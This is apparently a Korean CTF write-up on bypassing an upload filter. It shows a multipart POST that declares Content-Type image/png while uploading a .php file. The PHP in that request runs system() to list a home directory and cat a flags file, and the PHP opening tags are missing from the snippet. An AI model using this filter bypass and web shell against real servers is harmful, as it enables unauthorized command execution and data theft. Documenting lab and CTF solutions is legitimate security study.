문제 파일은 url 과 so 파일이었다.
so 파일은 업로드 할때 해킹방지 보안 솔루션같은 필터였고 url은 미디어를 올리는 업로드 사이트였다.
url로 들어가보면 php 소스가 있고 그 소스를 확인해보면 경로 http://ip/uploads/md5(ip)/ 에 업로드가 되는 방식이었다.
하지만 이곳에 간단한 파일 업로드 취약점이 존재한다.
처음엔 php 파일을 그대로 올리려고 했지만 자꾸 해킹하지 마세요가 뜨길래
아래와 같이 헤더를 변조 시켰다.
content-type 부분을 이미지로 바꾸고 파일이름은 php로 지정하고 아래와 같이 post로 날렸다.
-----------------------------8546194317856
Content-Disposition: form-data; name="data"; filename="subtle_white_feathers.php"
Content-Type: image/png
system("dir ../../../../home/dwh300/");
?>
system("cat ../../../../home/dwh300/flags");
?>
-----------------------------8546194317856--
(위 코드는 몇번 디렉터리를 뒤지고 난 다음에 완성된 코드이다.)
png로 변조시켜 마치 png 파일을 업로드 하는것 같지만 안타깝게도 실제로는 php를 업로드하여 서버는 곧 햌킹을 당할것이다.
업로드에 성공하고 php에 접근했다.
/home/dwh300/ 에 flag 파일이 존재했고 그 파일을 cat 으로 열어보니 아래와 같이 나왔다.
2번째줄 끝으로 가보면 key 가 있다.
Flag : !!xx_^s0m3th1ng wr0ng^_yy!!
다른분은 php를 그냥 업로드 했다는데 왜 안됬을까 고민햇지만 어쩃든 풀렸으니 됫다.
webhacking.kr All Clear (5) | 2013.05.19 |
---|---|
H.U.S.T 2012 WEB 5번 문제 풀이. (0) | 2013.01.01 |
webhacking.kr 2번 그리고 13번 (9) | 2012.12.07 |
webhacking.kr 29번 (8) | 2012.12.05 |
webhacking.kr 40번 (11) | 2012.11.29 |